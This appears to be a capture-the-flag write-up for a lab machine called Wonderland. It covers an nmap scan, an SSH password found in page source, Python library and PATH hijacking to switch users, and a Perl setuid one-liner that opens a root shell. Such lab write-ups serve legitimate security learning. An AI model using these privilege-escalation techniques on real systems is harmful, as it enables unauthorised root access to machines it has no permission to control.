Wonderland

fdba6eaf85513262b2a9b12875b0f342

Port Scan

└─$ cat nmap_results                                                                                                                    1 β¨―
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-30 18:59 IST
Nmap scan report for 10.10.82.194 (10.10.82.194)
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
|   256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
|_  256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.06 seconds

Directory Scan

  • the url was made with word rabbit

  • Visiting http://10.10.82.194/r/a/b/b/i/t/ gave ssh password in the source code (view-source:http://10.10.82.194/r/a/b/b/i/t/)

User flag

  • The hint said everything's upside down here, as root.txt was in user's directory, the user.txt was in root directory

User raabit

  • sudo -l

  • The current directory had a python file that imports random library

  • We should create a file random.py so python would take it executes it

  • Save the prgm with name random.py

  • Run it

User hatter

  • The binary teaParty had suid bit

  • strings wasn't installed on the machine so I used python server and took that file on my local machine

  • The binary uses date for throwing out the time

  • /bin/echo -n 'Probably by ' && date --date='next hour' -R

  • we can use same methodology as previous peivilege escalation

  • create a file name date and add it to $PATH variable

  • I've used random.py file which we used earlier, you can replace the python3 line with /bin/bash

  • Run the file to get hatter user

  • password file

  • The hatter's directory had password file for the user hatter

  • We still have group id as rabbit

  • use the password to escalate privileges : ssh hatter@localhost

Root User

  • Checked for capabilities

  • Perl has an setuid

  • GTFO bins have payload for capabilities, suid, sudo, etc : https://gtfobins.github.io/gtfobins/perl/

  • Use perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' to get root shell

Last updated